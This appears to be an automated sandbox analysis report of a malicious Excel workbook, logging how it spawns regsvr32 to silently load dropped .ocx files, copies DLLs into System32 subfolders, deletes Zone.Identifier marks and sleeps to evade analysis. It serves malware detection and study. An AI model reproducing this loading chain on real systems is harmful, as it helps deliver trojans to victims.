Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029DF0	5_2_0000000180029DF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015DF4	5_2_0000000180015DF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800011F4	5_2_00000001800011F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000FE08	5_2_000000018000FE08
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180027E14	5_2_0000000180027E14
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B618	5_2_000000018000B618
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023220	5_2_0000000180023220
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020A34	5_2_0000000180020A34
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007634	5_2_0000000180007634
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022E38	5_2_0000000180022E38
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E638	5_2_000000018000E638
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180010250	5_2_0000000180010250
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026A64	5_2_0000000180026A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180004264	5_2_0000000180004264
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013674	5_2_0000000180013674
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F678	5_2_000000018000F678
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E278	5_2_000000018000E278
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180005E7C	5_2_0000000180005E7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025E88	5_2_0000000180025E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002868C	5_2_000000018002868C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014E98	5_2_0000000180014E98
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014AA4	5_2_0000000180014AA4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800126A8	5_2_00000001800126A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800036A8	5_2_00000001800036A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002A6BC	5_2_000000018002A6BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001CABC	5_2_000000018001CABC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000EAC0	5_2_000000018000EAC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001B6D4	5_2_000000018001B6D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F2DC	5_2_000000018000F2DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800202E0	5_2_00000001800202E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800226E0	5_2_00000001800226E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019AF0	5_2_0000000180019AF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000BEF0	5_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012EF8	5_2_0000000180012EF8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029710	5_2_0000000180029710
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017710	5_2_0000000180017710
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000C740	5_2_000000018000C740
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020F44	5_2_0000000180020F44
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023B48	5_2_0000000180023B48
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023748	5_2_0000000180023748
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021754	5_2_0000000180021754
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022358	5_2_0000000180022358
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029F5C	5_2_0000000180029F5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B368	5_2_000000018002B368
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001BF70	5_2_000000018001BF70
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025374	5_2_0000000180025374
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007F74	5_2_0000000180007F74
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021F7C	5_2_0000000180021F7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019788	5_2_0000000180019788
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001B8C	5_2_0000000180001B8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028394	5_2_0000000180028394
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013B94	5_2_0000000180013B94
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001479C	5_2_000000018001479C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E7A0	5_2_000000018000E7A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800087A4	5_2_00000001800087A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017BA8	5_2_0000000180017BA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000EBAC	5_2_000000018000EBAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001B3B8	5_2_000000018001B3B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012BB8	5_2_0000000180012BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800257C0	5_2_00000001800257C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008BC0	5_2_0000000180008BC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800117C4	5_2_00000001800117C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800227E0	5_2_00000001800227E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_002B0000	7_2_002B0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800083F8	7_2_00000001800083F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180026410	7_2_0000000180026410
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000680F	7_2_000000018000680F
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180025C30	7_2_0000000180025C30
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180013674	7_2_0000000180013674
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180017C8C	7_2_0000000180017C8C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000A48C	7_2_000000018000A48C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000BEF0	7_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180029710	7_2_0000000180029710
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180026F14	7_2_0000000180026F14
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180023748	7_2_0000000180023748
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180001D58	7_2_0000000180001D58
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018002B368	7_2_000000018002B368
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180001378	7_2_0000000180001378
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180010590	7_2_0000000180010590
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800091A8	7_2_00000001800091A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800165E4	7_2_00000001800165E4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180018FE8	7_2_0000000180018FE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001ABE8	7_2_000000018001ABE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180029DF0	7_2_0000000180029DF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800243F4	7_2_00000001800243F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180015DF4	7_2_0000000180015DF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800011F4	7_2_00000001800011F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_00000001800247FC	7_2_00000001800247FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001DBFC	7_2_000000018001DBFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000FE08	7_2_000000018000FE08
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001100C	7_2_000000018001100C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180027E14	7_2_0000000180027E14
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000B618	7_2_000000018000B618
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180023220	7_2_0000000180023220
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180027C28	7_2_0000000180027C28
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180020A34	7_2_0000000180020A34
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180007634	7_2_0000000180007634
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180022E38	7_2_0000000180022E38
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000E638	7_2_000000018000E638
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018002143C	7_2_000000018002143C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001303C	7_2_000000018001303C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018002A840	7_2_000000018002A840
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180003840	7_2_0000000180003840
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000B444	7_2_000000018000B444
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000F048	7_2_000000018000F048
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018002AC4C	7_2_000000018002AC4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180010050	7_2_0000000180010050
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180010250	7_2_0000000180010250
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180003050	7_2_0000000180003050
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180011E5C	7_2_0000000180011E5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000445C	7_2_000000018000445C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000C85C	7_2_000000018000C85C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180003460	7_2_0000000180003460
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180026A64	7_2_0000000180026A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180004264	7_2_0000000180004264
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180029C6C	7_2_0000000180029C6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001586C	7_2_000000018001586C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000406C	7_2_000000018000406C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000E06C	7_2_000000018000E06C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000BC70	7_2_000000018000BC70
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000F678	7_2_000000018000F678
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000E278	7_2_000000018000E278
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018001447C	7_2_000000018001447C
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180005E7C	7_2_0000000180005E7C

Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74DBD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF753BD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF70C7FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74D7FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF70CBD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF7537FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 00000001800153F4 appears 48 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D27FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF74DB3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF753B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2BD70 appears 113 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF70CB3B0 appears 148 times

Source: DETAILS 25922194612.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE
Source: DETAILS 25922194612.xls	Macro extractor: Sheet name: PKEKPPGEKKPGE

Source: DETAILS 25922194612.xls

ReversingLabs: Detection: 41%

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\KuSAkvGE\rWFJGQNl.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\Ejpzh\qlDqXeGagKnBKzd.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FiPeSYwmr\Wuiko.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PLVmoWLosZJQb\bTjwWDTWvnC.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\KuSAkvGE\rWFJGQNl.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\Ejpzh\qlDqXeGagKnBKzd.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FiPeSYwmr\Wuiko.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PLVmoWLosZJQb\bTjwWDTWvnC.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\uxevr1.ocx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6882.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@18/18@5/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: DETAILS 25922194612.xls	OLE indicator, Workbook stream: true
Source: DETAILS 25922194612.xls.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180029710 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

4_2_0000000180029710

Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: DETAILS 25922194612.xls

Initial sample: OLE indicators vbamacros = False

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180006951 pushad ; retf	3_2_0000000180006953
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006951 pushad ; retf	5_2_0000000180006953
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180006951 pushad ; retf	8_2_0000000180006953
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_0000000180006951 pushad ; retf	10_2_0000000180006953

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30CC0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_000007FEF9D30CC0

Source: T35PENELLOsp[1].dll.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x5caa2
Source: Jf8[1].dll.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x5ef33
Source: uxevr1.ocx.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x5ef33
Source: 1Cb5zOjLgWGDemz55C5[1].dll.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x64194
Source: uxevr3.ocx.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x64194
Source: uxevr2.ocx.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x644de
Source: 4HWP0KQI[1].dll.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x644de
Source: uxevr4.ocx.0.dr	Static PE information: real checksum: 0x61dc7 should be: 0x5caa2

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\KuSAkvGE\rWFJGQNl.dll"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\KuSAkvGE\rWFJGQNl.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\FiPeSYwmr\Wuiko.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\PLVmoWLosZJQb\bTjwWDTWvnC.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\Ejpzh\qlDqXeGagKnBKzd.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\KuSAkvGE\rWFJGQNl.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\FiPeSYwmr\Wuiko.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\PLVmoWLosZJQb\bTjwWDTWvnC.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\Ejpzh\qlDqXeGagKnBKzd.dll (copy)	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr4.ocx	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\KuSAkvGE\rWFJGQNl.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\Ejpzh\qlDqXeGagKnBKzd.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\FiPeSYwmr\Wuiko.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\PLVmoWLosZJQb\bTjwWDTWvnC.dll:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 1468	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2588	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1292	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2960	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 464	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 900	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1268	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2224	Thread sleep time: -240000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_3-16379

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.6 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.6 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 7.7 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 7.7 %

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	4_2_000000018000BEF0
